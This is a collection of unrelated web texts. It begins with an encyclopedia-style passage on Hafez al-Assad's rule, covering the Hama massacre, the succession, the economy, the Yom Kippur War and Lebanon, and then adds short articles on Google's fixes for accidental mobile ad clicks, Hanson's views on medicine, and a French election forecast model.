Ibrahim al-Ali (Popular Army head), Muhammad al-Khuli (head of Assad's intelligence-coordination committee) and Military Intelligence head Ali Duba. Assad controlled the military through Alawites such as Generals Shafiq Fayyad (commander of the 3rd Division), Ibrahim Safi (commander of the 1st Division) and Adnan Badr Hasan (commander of the 9th Division). During the 1990s, Assad further strengthened Alawite dominance by replacing Sunni General Hikmat al-Shihabi with General Ali Aslan as chief of staff. The Alawites, with their high status, appointed and promoted based on kinship and favor rather than professional respect. Therefore, an Alawite elite emerged from these policies. Assad's elite was non-sectarian; prominent Sunni figures at the beginning of his rule were Abdul Halim Khaddam, Shihabi, Naji Jamil, Abdullah al-Ahmar and Mustafa Tlass.  However, none of these people had a distinct power base from that of Assad. Although Sunnis held the positions of Air Force Commander from 1971 to 1994 (Jamil, Subhi Haddad and Ali Malahafji), General Intelligence head from 1970 to 2000 (Adnan Dabbagh, Ali al-Madani, Nazih Zuhayr, Fuad al-Absi and Bashir an-Najjar), Chief of Staff of the Syrian Army from 1974 to 1998 (Shihabi) and defense minister from 1972 until after Assad's death (Tlass), none had power separate from Assad or the Alawite-dominated security system. When Jamil headed the Air Force, he could not issue orders without the knowledge of Khuli (the Alawite head of Air Force Intelligence). After the failed Islamic uprising, Assad's reliance on his relatives intensified; before that, his Sunni colleagues had some autonomy. A defector from Assad's government said, "Tlass is in the army but at the same time seems as if he is not of the army; he neither binds nor loosens and has no role other than that of the tail in the beast." Another example was Shihabi, who occasionally represented Assad. However, he had no control in the Syrian military; Ali Aslan, First Deputy Chief of Staff for Operations during most of his tenure, was responsible for troop maneuvers. Although the Sunnis were in the forefront, the Alawites had the power.  Islamist uprising [ edit ]  Background [ edit ]  Assad's pragmatic policies indirectly led to the establishment of a "new class", and he accepted this while it furthered his aims against Israel. When Assad began pursuing a policy of economic liberalization, the state bureaucracy began using their positions for personal gain. The state gave implementation rights to "much of its development program to foreign firms and contractors, fueling a growing linkage between the state and private capital". What ensued was a spike in corruption, which led the political class to be "thoroughly embourgeoised". The channeling of external money through the state to private enterprises "created growing opportunities for state elites' self-enrichment through corrupt manipulation of state-market interchanges. Besides outright embezzlement, webs of shared interests in commissions and kickbacks grew up between high officials, politicians, and business interests". The Alawite military-security establishment got the greatest share of the money; the Ba'ath Party and its leaders ruled a new class, defending their interests instead of those of peasants and workers (whom they were supposed to represent). This, coupled with growing Sunni disillusionment with what Hinnebusch calls "the regime's mixture of statism, rural and sectarian favouritism, corruption and new inequalities", fueled the growth of the Islamic movement. Because of this, the Muslim Brotherhood of Syria became the vanguard of anti-Ba'athist forces.  The Brotherhood had historically been a vehicle for moderate Islam during its introduction to the Syrian political scene during the 1960s under the leadership of Mustafa al-Siba'i. After Siba'i's imprisonment, under Isam al-Attar's leadership the Brotherhood developed into the ideological antithesis of Ba'athist rule. However, the Ba'ath Party's organizational superiority worked in its favor; with Attar's enforced exile, the Muslim Brotherhood was in disarray. It was not until the 1970s that the Muslim Brotherhood established a clear, central collective authority for its organization under Adnan Saad ad-Din, Sa'id Hawwa, Ali Sadr al-Din al-Bayanuni and Husni Abu. Because of their organizational capabilities, the Muslim Brotherhood grew tenfold from 1975 to 1978 (from 500–700 in Aleppo); nationwide, by 1978 it had 30,000 followers.  Events [ edit ]  The Islamic uprising began in the mid-to-late 1970s, with attacks on prominent members of the Ba'ath Alawite elite. As the conflict worsened, a debate in the party between hard-liners (represented by Rifaat al-Assad) and Ba'ath liberals (represented by Mahmoud al-Ayyubi) began. The Seventh Regional Congress, in 1980, was held in an atmosphere of crisis. The party leadership—with the exception of Assad and his proteges—were criticised severely by party delegates, who called for an anti-corruption campaign, a new, clean government, curtailing the powers of the military-security apparatus and political liberalization. With Assad's consent, a new government (headed by the presumably clean Abdul Rauf al-Kasm) was established with new, young technocrats. The new government failed to assuage critics, and the Sunni middle class and the radical left (believing that Ba'athist rule could be overthrown with an uprising) began collaborating with the Islamists.  Section of Hama after attack by government forces  Believing they had the upper hand in the conflict, beginning in 1980 the Islamists began a series of campaigns against government installations in Aleppo; the attacks became urban guerilla warfare. The government began to lose control in the city and, inspired by events, similar disturbances spread to Hama, Homs, Idlib, Latakia, Deir ez-Zor, Maaret-en-Namen and Jisr esh-Shagour. Those affected by Ba'athist repression began to rally behind the insurgents; Ba'ath Party co-founder Bitar supported the uprising, rallying the old, anti-military Ba'athists. The increasing threat to the government's survival strengthened the hard-liners, who favored repression over concessions. Security forces began to purge all state, party and social institutions in Syria, and were sent to the northern provinces to quell the uprising. When this failed, the hard-liners began accusing the United States of fomenting the uprising and called for the reinstatement of "revolutionary vigilance". The hard-liners won the debate after a failed attempt on Assad's life in June 1980, and began responding to the uprising with state terrorism later that year. Under Rifaat al-Assad Islamic prisoners at the Tadmur prison were massacred, membership in the Muslim Brotherhood became a capital offence and the government sent a death squad to kill Bitar and Attar's former wife. The military court began condemning captured militants, which "sometimes degenerated into indiscriminate killings". Little care was taken to distinguish Muslim Brotherhood hard-liners from their passive supporters, and violence was met with violence.  The final showdown, the Hama massacre, took place in February 1982 when the government crushed the uprising. Helicopter gunships, bulldozers and artillery bombardment razed the city, killing thousands of people. The Ba'ath government withstood the uprising not because of popular support, but because the opposition was disorganised and had little urban support. Throughout the uprising, the Sunni middle class continued to support the Ba'ath Party because of its dislike of political Islam. After the uprising the government resumed its version of militaristic Leninism, reverting the liberalization introduced when Assad came to power. The Ba'ath Party was weakened by the uprising; democratic elections for delegates to the Regional and National Congresses were halted, and open discussion within the party ended. The uprising made Syria more totalitarian than ever, and strengthened Assad's position as undisputed leader of Syria.  1983–1984 succession crisis [ edit ]  In November 1983 Assad, a diabetic, had a major heart attack complicated by phlebitis;[106] this triggered a succession crisis. On 13 November, after visiting his brother in the hospital, Rifaat al-Assad reportedly announced his candidacy for president; he did not believe Assad would be able to continue ruling the country. When he did not receive support from Assad's inner circle, he made, in the words of historian Hanna Batatu, "abominably lavish" promises to win them over.  Until his 1985 ouster, Rifaat al-Assad was considered the face of corruption by the Syrian people. Although highly paid as Commander of Defense Companies, he accumulated unexplained wealth. According to Hanna Batatu, "there is no way that he could have permissibly accumulated the vast sums needed for the investments he made in real estate in Syria, Europe and the United States".  Although it is unclear if any top officials supported Rifaat al-Assad, most did not. He lacked his brother's stature and charisma, and was vulnerable to charges of corruption. His 50,000-strong Defense Companies were viewed with suspicion by the upper leadership and throughout society; they were considered corrupt, poorly disciplined and indifferent to human suffering. Rifaat al-Assad also lacked military support; officers and soldiers resented the Defense Companies' monopoly of Damascus' security, their separate intelligence services and prisons and their higher pay. He did not abandon the hope of succeeding his brother, opting to take control of the country through his post as Commander of Defense Companies. In what became known as the "poster war", personnel from the Defense Companies replaced posters of Assad in Damascus with those of Rifaat al-Assad. The security service, still loyal to Assad, responded by replacing Rifaat al-Assad's posters with Assad's. The poster war lasted for a week, until Assad's health improved.  Shortly after the poster war, all Rifaat al-Assad's proteges were removed from positions of power. This decree nearly sparked a clash between the Defense Companies and the Republican Guard on 27 February 1984, but conflict was avoided by Rifaat al-Assad's appointment as one of three Vice Presidents on 11 March. He acquired this post by surrendering his position as Commander of Defense Companies to an Assad supporter. Rifaat al-Assad was succeeded as Defense Companies head by his son-in-law. During the night of 30 March, he ordered Defense Company loyalists to seal Damascus off and advance to the city. The Republican Guard was put on alert in Damascus, and 3rd Armored Division commander Shafiq Fayyad ordered troops outside Damascus to encircle the Defense Companies blocking the roads into the city. Rifaat al-Assad's plan might have succeeded if Special Forces commander Ali Haydar supported him, but Haydar sided with the president. Assad punished Rifaat al-Assad with exile, allowing him to return in later years without a political role. The Defense Companies were reduced by 30,000–35,000 people, and their role was assumed by the Republican Guard. Makhluf, the Republican Guard commander, was promoted to major general, and Bassel al-Assad (Assad's son, an army major) became influential in the guard.  Autocracy, succession and death [ edit ]  Mausoleum of Hafez al-Assad in Qardaha  Assad's first choice of successor was his brother Rifaat al-Assad, an idea he broached as early as 1980, and his brother's coup attempt weakened the institutionalised power structure on which he based his rule. Instead of changing his policy, Assad tried to protect his power by honing his governmental model. He gave a larger role to Bassel al-Assad, who was rumored to be his father's planned successor; this kindled jealousy within the government. At a 1994 military meeting, Chief of Staff Shihabi said that since Assad wanted to normalize relations with Israel, the Syrian military had to withdraw its troops from the Golan Heights. Haydar replied angrily, "We have become nonentities. We were not even consulted." When he heard about Haydar's outburst, Assad replaced Haydar as Commander of Special Forces with the Alawite Major General Ali Habib. Haydar also reportedly opposed dynastic succession, keeping his views secret until after Bassel's death in 1994 (when Assad chose Bashar al-Assad to succeed him); he then openly criticised Assad's succession plans.  Bassel al-Assad became a security officer at the Presidential Palace in 1986, and a year later he was appointed Commander of the Defense Companies. About this time, rumors spread that Assad planned to make Bassel his successor. Bassel al-Assad continued his climb to the top; at the time of the 1991 presidential referendum, citizens were ordered to sing songs praising him. Vehicles belonging to the military and the secret police began bearing images of Bassel, and Assad began to be called the "Father of Bassel" in official media. Bassel al-Assad went on his first foreign mission representing his country, traveling to Saudi Arabia to visit King Fahd. Shortly before his death, he represented his absent father at an official event. On 21 January 1994, Bassel al-Assad died in a car accident. In his eulogy, Assad called his son's death a "national loss". Bassel al-Assad, in death, played as great a role in his country's life as he did alive: his picture appeared on walls, cars, stores, dishes, clothing and watches. The Syrian Regional Branch of the Ba'ath Party began indoctrinating youths with a Bassel al-Assad course. Almost immediately after Bassel's death, Assad began to groom his 29-year-old son Bashar al-Assad for succession.  Abdul Halim Khaddam, Syria's foreign minister from 1970 to 1984, opposed dynastic succession on the grounds that it was not socialist. Khaddam has said that Assad never discussed his intentions about succession with members of the Regional Command. By the 1990s, the Sunni faction of the leadership was aging; the Alawites, with Assad's help, had received new blood. The Sunnis were at a disadvantage, since many were opposed to any kind of dynastic succession.  After [Assad's] illness [in 1983] this matter was too sensitive to be discussed. His love for the family was even stronger than his duty as president. The decision was very wrong. This decision was in total contradiction to all laws and regulations in Syria. In the late 1990s, when he was becoming more and more sick, this sentiment grew stronger and stronger. —Abdul Halim Khaddam, on Assad's succession plans  When he returned to Syria, Bashar al-Assad enrolled in the Homs Military Academy. He was quickly promoted to Brigadier Commander, and served for a time in the Republican Guard. He studied most military subjects, "including tank battalion commander, command and staff" (the latter two of which were required for a senior command in the Syrian army). Bashar al-Assad was promoted to lieutenant general in July 1997, and to colonel in January 1999. Official sources ascribe Bashar's rapid promotion to his "overall excellence in the staff officers' course, and in the outstanding final project he submitted as part of the course for command and staff". With Bashar's training, Assad appointed a new generation of Alawite security officers to secure his succession plans. Shihabi's replacement by Aslan as Chief of Staff on 1 July 1998—Shihabi was considered a potential successor by the outside world—marked the end of the long security-apparatus overhaul. Skepticism of Assad's dynastic-succession plan was widespread within and outside the government, with critics noting that Syria was not a monarchy. By 1998 Bashar al-Assad had made inroads into the Ba'ath Party, taking over Khaddam's Lebanon portfolio (a post he had held since the 1970s). By December 1998 Bashar al-Assad had replaced Rafiq al-Hariri, Prime Minister of Lebanon and one of Khaddam's proteges, with Selim Hoss.  Several Assad proteges, who had served since 1970 or earlier, were dismissed from office between 1998 and 2000. They were sacked not because of disloyalty to Assad, but because Assad thought they would not fully support Bashar al-Assad's succession. "Retirees" included Muhammad al-Khuli, Nassir Khayr Bek and Ali Duba. Among the new appointees (Bashar loyalists) were Bahjat Sulayman, Major General Halan Khalil and Major General Asaf Shawkat (Assad's son-in-law).  By the late 1990s, Assad's health had deteriorated. American diplomats said Assad had difficulty staying focused and seemed tired during their meetings; he was seen as incapable of functioning for more than two hours a day. His spokesperson ignored the speculation, and Assad's official routine in 1999 was basically unchanged from the previous decade. Assad continued to conduct meetings, traveling abroad occasionally; he visited Moscow in July 1999. Because of his increasing seclusion from state affairs, the government became accustomed to working without his involvement in day-to-day affairs. On 10 June 2000, at the age of 69, Hafez al-Assad died of a heart attack while on the telephone with Lebanese prime minister Hoss. 40 days of mourning was declared in Syria and 7 days in Lebanon thereafter.[131] His funeral was held three days later. Assad is buried with his son, Bassel al-Assad, in a mausoleum in his hometown of Qardaha.  Economy [ edit ]  Tabqa Dam (center), built in 1974  Assad called his domestic reforms a corrective movement, and it achieved some results. He tried to modernize Syria's agricultural and industrial sectors; one of his main achievements was the completion of the Tabqa Dam on the Euphrates River in 1974. One of the world's largest dams, its reservoir was called Lake Assad. The reservoir increased irrigation of arable land, provided electricity, and encouraged industrial and technical development in Syria. Many peasants and workers received increased income, social security, and better health and educational services. The urban middle class, which had been hurt by the Jadid government's policy, had new economic opportunities.  By 1977 it was apparent that despite some success, Assad's political reforms had largely failed. This was partly due to Assad's foreign policy, failed policies, natural phenomena and corruption. Chronic socioeconomic difficulties remained, and new ones appeared. Inefficiency, mismanagement, and corruption in the government, public, and private sectors, illiteracy, poor education (particularly in rural areas), increasing emigration by professionals, inflation, a growing trade deficit, a high cost of living and shortages of consumer goods were among problems faced by the country. The financial burden of Syria's involvement in Lebanon since 1976 contributed to worsening economic problems, encouraging corruption and a black market. The emerging class of entrepreneurs and brokers became involved with senior military officers—including Assad's brother Rifaat—in smuggling from Lebanon, which affected government revenue and encouraged corruption among senior governmental officials.  During the early 1980s, Syria's economy worsened; by mid-1984, the food crisis was severe, and the press was full of complaints. Assad's government sought a solution, arguing that food shortages could be avoided with careful economic planning. The food crisis continued through August, despite government measures. Syria lacked sugar, bread, flour, wood, iron and construction equipment; this resulted in soaring prices, long queues and rampant black marketeering. Smuggling goods from Lebanon became common. Assad's government tried to combat the smuggling, encountering difficulties due to the involvement of his brother Rifaat in the corruption. In July 1984, the government formed an effective anti-smuggling squad to control the Lebanon–Syria borders. The Defense Detachment commanded by Rifaat al-Assad played a leading role in the smuggling, importing $400,000 worth of goods a day. The anti-smuggling squad seized $3.8 million in goods during its first week.  The Syrian economy grew five to seven percent during the early 1990s; exports increased, the balance of trade improved, inflation remained moderate (15–18 percent) and oil exports increased. In May 1991 Assad's government liberalised the Syrian economy, which stimulated domestic and foreign private investment. Most foreign investors were Arab states around the Persian Gulf, since Western countries still had political and economic issues with the country. The Gulf states invested in infrastructure and development projects; because of the Ba'ath Party's socialist ideology, Assad's government did not privatize state-owned companies.  Syria fell into recession during the mid-1990s. Several years later, its economic growth was about 1.5 percent. This was insufficient, since population growth was between 3 and 3.5 percent. Another symptom of the crisis was statism in foreign trade. Syria's economic crisis coincided with recession in world markets. A 1998 drop in oil prices dealt a major blow to Syria's economy; when oil prices rose the following year, the Syrian economy partially recovered. In 1999, one of the worst droughts in a century caused a drop of 25–30 percent in crop yields compared with 1997 and 1998. Assad's government implemented emergency measures, including loans and compensation to farmers and the distribution of free fodder to save sheep and cattle. However, those steps were limited and had no measurable effect on the economy.  Assad's government tried to decrease population growth, but this was only marginally successful. One sign of economic stagnation was Syria's lack of progress in talks with the EU on an agreement. The main cause of this failure was the country's difficulty in meeting EU demands to open the economy and introduce reforms. Marc Pierini, head of the EU delegation in Damascus, said that if the Syrian economy was not modernised it would not benefit from closer ties to the EU. Assad's government gave civil servants a 20-percent pay raise on the anniversary of the corrective movement that brought him to power. Although the foreign press criticised Syria's reluctance to liberalize its economy, Assad's government refused to modernize the bank system, permit private banks and open a stock exchange.  Foreign policy [ edit ]  Yom Kippur War [ edit ]  Planning [ edit ]  Since the Arab defeat in the Six-Day War, Assad was convinced that the Israelis had won the war by subterfuge; after gaining power, his top foreign-policy priority was to regain the Arab territory lost in the war. Assad reaffirmed Syria's rejection of the 1967 UN Security Council Resolution 242 because he believed it stood for the "liquidation of the Palestine question". He believed, and continued to believe until long into his rule, that the only way to get Israel to negotiate with the Arabs was through war.  When Assad took power, Syria was isolated; planning an attack on Israel, he sought allies and war material. Ten weeks after gaining power, Assad visited the Soviet Union. The Soviet leadership was wary of supplying the Syrian government, viewing Assad's rise to power with reserve and believing him to lean further West than Jadid did. While he soon understood that the Soviet relationship with the Arabs would never be as deep as the United States' relationship with Israel, he needed its weapons. Unlike his predecessors (who tried to win Soviet support with socialist policies), Assad was willing to give the Soviets a stable presence in the Middle East through Syria, access to Syrian naval bases (giving them a role in the peace process) and help in curtailing American influence in the region. The Soviets responded by sending arms to Syria. The new relationship bore fruit, and between February 1971 and October 1973 Assad met several times with Soviet leader Leonid Brezhnev.  Assad believed that Syria would have no chance in a war against Israel without Egyptian participation. He believed that if the United Arab Republic had not collapsed, the Arabs would already have liberated Palestine. For a war against Israel, Syria needed to establish another front. However, by this time Syria's relations with Egypt and Jordan were shaky at best. Planning for war began in 1971 with an agreement between Assad and Anwar Sadat. At the beginning, the renewed Egyptian–Syrian alliance was based upon the proposed Federation of Arab Republics (FAR), a federation initially encompassing Egypt, Libya, Sudan (which left soon after FAR's first summit) and Syria. Assad and Sadat used the FAR summits to plan war strategy, and by 1971 they had appointed Egyptian General Muhammad Sadiq supreme commander of both armies. From 1972 to 1973, the countries filled their arsenals and trained their armies. In a secret meeting of the Egyptian–Syrian Military Council from 21 to 23 August 1973, the two chiefs of staff (Syrian Yusuf Shakkur and Egyptian Sad al-Shazly) signed a document declaring their intention to go to war against Israel. During a meeting of Assad, Sadat and their respective defense ministers (Tlass and Hosni Mubarak) on 26–27 August, the two leaders decided to go to war together.  Egypt went to war for a different reason than Syria did. While Assad wanted to regain lost Arab territory, Sadat wished to strengthen Egypt's position in its peace policy toward Israel. The Syrians were deceived by Sadat and the Egyptians, which would play a major role in the Arab defeat. Egyptian Chief of Staff Shazly was convinced from the beginning that Egypt could not mount a successful full-scale offensive against Israel; therefore, he campaigned for a limited war. Sadat knew that Assad would not participate in the war if he knew his real intentions. Since the collapse of the UAR, the Egyptians were critical of the Ba'athist government; they saw it as an untrustworthy ally.  The war [ edit ]  Assad and Mustafa Tlass on the Golan front  At 14:05 on 6 October 1973, Egyptian forces (attacking through the Sinai desert) and Syrian forces (attacking the Golan Heights) crossed the border into Israel and penetrated the Israeli defense lines. The Syrian forces on the Golan Heights met with more intense fighting than their Egyptian counterparts, but by 8 October had broken through the Israeli defenses. The early successes of the Syrian army were due to its officer corps (where officers were promoted because of merit and not politics) and its ability to handle advanced Soviet weaponry: tanks, artillery batteries, aircraft, man-portable missiles, the Sagger anti-tank weapon and the 2K12 Kub anti-aircraft system on mobile launchers. With the help of these weapons, Egypt and Syria defeated Israel's armor and air supremacy. Egypt and Syria announced the war to the world first, accusing Israel of starting it, mindful of the importance of avoiding appearing as the aggressor (Israel accused the Arab powers of starting the Six-Day War when they launched Operation Focus). In any case, early Syrian successes helped rectify the loss of face they had suffered following the Six-Day War.  The main reason for the reversal of fortune was Egypt's operational pause from 7 to 14 October. After capturing parts of the Sinai, the Egyptian campaign halted and the Syrians were left fighting the Israelis alone. The Egyptian leaders, believing their war aims accomplished, dug in. While their early successes in the war had surprised them, War Minister General Ahmad Ismail Ali advised caution. In Syria, Assad and his generals waited for the Egyptians to move. When the Israeli government learned of Egypt's modest war strategy, it ordered an "immediate continuous action" against the Syrian military. According to Patrick Seale, "For three days, 7, 8, and 9 October, Syrian troops on the Golan faced the full fury of the Israeli air force as, from first light to nightfall, wave after wave of aircraft swooped down to bomb, strafe and napalm their tank concentration and their fuel and ammunition carriers right back to the Purple Line." By 9 October, the Syrians were retreating behind the Purple Line (the Israeli–Syrian border since the Six-Day War). By 13 October the war was lost, but (in contrast to the Six-Day War) the Syrians were not crushed; this earned Assad respect in Syria and abroad.  On 14 October, Egypt began a limited offensive against Israel for political reasons. Sadat needed Assad on his side for his peace policy with Israel to succeed, and military action was a means to an end. The renewed Egyptian military offensive was ill-conceived. A week later, due to Egyptian inactivity, the Israelis had organised and the Arabs had lost their most important advantage. While the military offensive gave Assad hope, this was an illusion; the Arabs had already lost the war militarily. Egypt's behavior during the war caused friction between Assad and Sadat. Assad, still inexperienced in foreign policy, believed that the Egyptian–Syrian alliance was based on trust and failed to understand Egypt's duplicity. Although it was not until after the war that Assad would learn that Sadat was in contact with American National Security Advisor Henry Kissinger almost daily during the war, the seeds of distrust had been sown. Around this time, Sadat called for an American-led ceasefire agreement between Egypt, Syria and Israel; however, he was unaware that under Kissinger's tenure the United States had become a staunch supporter of Israel.  Assad in a rage after Sadat visits Israel, 1977  On 16 October, Sadat—without telling Assad—called for a ceasefire in a speech to the People's Assembly, the Egyptian legislative body. Assad was not only surprised, but could not comprehend why Sadat trusted "American goodwill for a satisfactory result". Soviet Premier Alexei Kosygin visited Cairo, urging Sadat to accept a ceasefire without the condition of Israeli withdrawal from the occupied territories. While Sadat was reluctant at first, Kosygin returned on 18 October with satellite images showing 300 Israeli tanks in Egyptian territory. The blow to Sadat's morale was such that he sent a cable to Assad, obliquely saying that all hope was lost. Assad, who was in a better position, was still optimistic. Under Soviet influence Egypt called for a ceasefire on 22 October 1973, direct negotiations between the warring parties and the implementation of the UN Security Council Resolution 242. The ceasefire resolution did not call for Israeli withdrawal from its occupied territories. Assad was annoyed, since he had not been informed beforehand of Sadat's change in policy (which affected them both). On 23 October the Syrian government accepted the ceasefire, spelling out its understanding of UN Resolution 338 (withdrawal of Israeli troops from the occupied territories and the safeguarding of Palestinian rights).  Lebanese Civil War [ edit ]  We did not go into Lebanon to achieve any regional ambitions, nor for any selfish or opportunistic motives. On the contrary, it was at the expense of our economy and our daily bread. —Assad, reviewing Syria's intervention in Lebanon  Syria intervened in Lebanon in 1976 during the civil war which began in 1975. With the establishment of an Egyptian–Israeli alliance, Syria was the only neighboring state which threatened Israel. Syria initially tried to mediate the conflict; when that failed, Assad ordered the Palestine Liberation Army (PLA), a regular force based in Syria with Syrian officers, troops into Lebanon to restore order. Around this time, the Israeli government opened its borders to Maronite refugees in Lebanon to strengthen its regional influence. Clashes between the Syria-loyal PLA and militants occurred throughout the country. Despite Syrian support and Khaddam's mediation, Rashid Karami (the Sunni Muslim Prime Minister of Lebanon) did not have enough support to appoint a cabinet.  In early 1976 Assad was approached by Lebanese politicians for help in forcing the resignation of Suleiman Frangieh, the Christian President of Lebanon. Although Assad was open to change, he resisted attempts by some Lebanese politicians to enlist him in Frangieh's ouster; when General Abdul Aziz al-Ahdāb attempted to seize power, Syrian troops stopped him. In the meantime, radical Lebanese leftists were gaining the upper hand in the military conflict. Kamal Jumblatt, leader of the Lebanese National Movement (LNM), believed that his strong military position would compel Frangieh's resignation. Assad did not wish a leftist victory in Lebanon which would strengthen the position of the Palestinians. He did not want a rightist victory either, instead seeking a middle-ground solution which would safeguard Lebanon and the region. When Jumblatt met with Assad on 27 March 1976, he tried to persuade him to let him "win" the war; Assad replied that a ceasefire should be in effect to ensure the 1976 presidential elections. Meanwhile, on Assad's orders Syria sent troops into Lebanon without international approval.  While Yasser Arafat and the PLO had not officially taken a side in the conflict, several PLO members were fighting with the LNM. Assad attempted to steer Arafat and the PLO away from Lebanon, threatening him with a cutoff of Syrian aid. The two sides were unable to reach an agreement. When Frangieh stepped down in 1976, Syria pressured Lebanese members of parliament to elect Elias Sarkis president. One-third of the Lebanese members of parliament (primarily supporters of Raymond Edde) boycotted the election to protest American and Syrian interference.  On 31 May 1976, Syria began a full-scale intervention in Lebanon to (according to the official Syrian account) end bombardment of the Maronite cities of Qubayat and Aandqat. Before the intervention, Assad and the Syrian government were one of several interests in Lebanon; afterwards, they were the controlling factors in Lebanese politics. On Assad's orders, the Syrian troop presence slowly increased to 30,000. Syria received approval for the intervention from the United States and Israel to help them defeat Palestinian forces in Lebanon. The Ba'athist group As-Sa'iqa and the PLA's Hittīn brigade fought Palestinians who sided with the LNM.  Within a week of the Syrian intervention, Christian leaders issued a statement of support. In a 1976 diplomatic cable released by WikiLeaks, a US diplomat stated "if I got nothing else from my meeting with Frangie, Chamoun and Gemayel, it is their clear, unequivocal and unmistakable belief that their principal hope for saving Christian necks is Syria. They sound like Assad is the latest incarnation of the Crusaders."[177]  Muslim leaders established a joint command of all Palestinian groups except As-Sa'iqa, which was driven by the PLO to its stronghold near the main airport. Shortly afterwards, As-Sa'iqa and other leftist Damascus forces were absorbed by the Syrian military. On 8 June 1976 Syrian forces were pushed back from Sidon, encountering stiff resistance in Beirut from the LNM. Assad's actions angered much of the Arab world however and the sight of Syria trying to eliminate the PLO brought criticism upon him. There was considerable hostility to Assad's alliance with the Maronites in Syria. As a result, the Syrian government asked the Arab League to assist in the conflict. The Arab League began to mediate, establishing the Arab Deterrent Force (ADF) for peacekeeping. Syrian strategy at this point was to gradually weaken the LNM and its Palestinian collaborators, continuing to support the Christian militia. However, the Syrians were unable to capture the LNM's stronghold of Aley before the Arab League called for a ceasefire on 17 October. The Arab League strengthened the ADF to 30,000 troops, most Syrian. While some heavy fighting continued, by December 1976 and January 1977 most Palestinian and Lebanese groups had disposed of their heavy weaponry. According to Charles Winslow, the "main phase" of the Lebanese Civil War had ended by 1977; until the early 1990s most violence was attributed to turf, proxy, inter-communal and state wars. Assad used terrorism and intimidation to extend his control over Lebanon. Jumblatt died in a 1977 assassination allegedly ordered by Syria; in 1982, Syrian agents assassinated Lebanese President Bachir Gemayel (who was helped to power by the Israelis during the 1982 Lebanon War). Jumblatt and Gemayel had resisted Assad's attempts to dominate Lebanon. Assad caused the failure of the 1983 Lebanon–Israel agreement, and by proxy guerrilla warfare forced the Israeli Defense Forces to withdraw to southern Lebanon in 1985. Terrorism against Palestinians and Jordanian targets during the mid-1980s thwarted the rapprochement between King Hussein of Jordan and the PLO, slowing Jordanian–Israeli cooperation in the West Bank.  References [ edit ]  Citations
-Ads are part and parcel of being online, but they can be particularly annoying for mobile users. When playing games on a phone or tablet, it's all too easy to accidentally tap an ad you have absolutely no interest in, pulling you out of the game you were playing or the site you were reading. If you've cursed when this happened to you, Google hears you.  The company is taking steps to make the "user experience" of ads a little better. It recognizes that advertisements that get clicked accidentally don't benefit anybody. They end up irritating the clicker, and are unlikely to be of value to the company that placed the ad. With around half of ad clicks being made by mistake, Google is now taking steps to stop this from happening -- great news for users and advertisers alike.  In all, Google is making three key changes to ads that appear on smartphones and tablets, starting off by adding an unclickable border to the outer edges of advertisements. This should help to eliminate clicks that are made by mistake when trying to scroll through a page or click something else near an ad. To ensure that a tap was made on purpose, it needs to be made nearer the center of it.  Some ads can appear on screen unexpectedly -- perhaps on a popup screen. To prevent these from being accidentally clicked, Google is introducing a time delay so that ads are inactive and unclickable for a short time after they first appear.  The final changes tackles problems with in-app popup ads for other apps and games. In the past such an ad feature a clickable app icon which led to the relevant Google Play entry. Unfortunately the "close ad" cross button was part of this icon, making it incredibly easy to interact with the ad when trying to close it. From now on, the app icon will be inactive and a separate button will need to be hit to grab a copy.  Introducing the changes, Google says:  These latest click quality enhancements improve the user experience by keeping them within their desired website or app and not involuntarily taking them to another page. They also benefit advertisers by reducing costs from accidental clicks and improving conversion rates. To date, we’ve seen a 15% average conversion rate lift on display ads by driving more qualified clicks with these updates.  Photo credit: Syda Productions / Shutterstock
-How Contrarian is the Hansonian View of Medicine? By Bryan Caplan  To be honest, when Robin Hanson first told me his views on health care, I thought he was a lone nut. A brilliant lone nut, but a lone nut nonetheless. Still, my conversations with Robin inspired me to grill every health expert I came across, and with time I came to realize the Shocking Truth: Robin’s views on the health benefits of medicine were quite mainstream. Robin’s unique contribution was not in his beliefs, but in the fact that he thought that his beliefs mattered for health policy.  Don’t believe me? Here’s Dr. Mainstream, David Cutler of Harvard, responding to Robin on Cato Unbound:  If one takes the 25 percent of care that needn’t be provided and 10 percent in unnecessary administrative expense, that’s 35 percent of the nation’s medical bill that could be eliminated without loss. Allow for further savings from information technology, reduced errors, investment in disease management, or generation of comparative effectiveness information, and the savings could approach 50 percent. The potential savings are as high as Hanson guesses. As a sociological observation, I am surprised by Hanson’s argument that this hasn’t been much noted. The work of the Dartmouth team has received enormous media attention, including front page coverage in the New York Times, for example. My book suggests large possible savings as well. And the knowledge that non-medical factors are important for health has been amply documented in many contexts. If Hanson wants to add his agreement to this array of research, I’m all for it. [emphasis added]  Thus, Cutler’s response to Robin practically amounts to “Oh, everyone knows this stuff already.” But if that’s true, why aren’t there any presidential candidates eager to shout: “We need to drastically cut health care spending; half of it doesn’t do any good anyway”? The answer’s obvious: Their candidacies would go down in flames. Almost everyone who has looked at the data knows this stuff. But experts are tiny minority – and only a tiny minority of this tiny minority is eager to emphasize lessons that the world doesn’t want to hear.
-THE French presidential campaign is in full swing, with the first round scheduled for April 23rd and a likely run-off between the top two finishers on May 7th. The election has received an unusual amount of international attention because Marine Le Pen, the National Front candidate, has consistently led the polls. Her success or failure will be widely interpreted as a measure of the continued strength of nationalist populist movements, which enjoyed two triumphs last year in the Brexit referendum and Donald Trump′s election.  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.  The first few months of the race have been highly volatile. The stunningly unpopular incumbent president, François Hollande of the Socialist Party, chose not to stand for reelection rather than face certain defeat. François Fillon, the conservative standard-bearer of the other mainstream party, has seen his chances sink after a French newspaper revealed an ill-timed scandal involving payments to his wife.  Given the large number of candidates and the complexity of the two-stage vote, figuring out where the race stands is deceptively difficult. To provide readers with a clearer sense of what to expect, The Economist has built a statistical model to predict the outcome. First, in order to measure how accurate public surveys have been in the past, we consulted a database compiled by two political scientists, Will Jennings and Christopher Wlezien, of 642 French presidential polls taken since 1965—the first direct election during the Fifth Republic. Next, we aggregate all public polls taken during this year′s campaign, to produce a snapshot of the current state of the race. Finally, we conduct 10,000 random simulations of the election every day, each one representing a single plausible scenario given the latest polling averages, and see how often each candidate wins. Readers interested in learning more about the statistical minutiae of our efforts are invited to read the meaty technical appendix to this post.  A run-off is seen as all but certain, since polls give the leaders merely half of the majority of the first-round vote necessary to avoid one. Indeed, no candidate in French history has ever won a first-round victory. During the two weeks between ballots, the two finalists will vie to win over the supporters of their eliminated rivals. In previous elections, supporters of the mainstream left- and right-wing parties have created an informal alliance, the “front républicain”, to keep the xenophobic National Front out of office. In 2002, when Ms Le Pen’s father Jean-Marie led the National Front into the second round against the conservative Jacques Chirac, Libération, a centre-left newspaper, urged readers to “vote for the 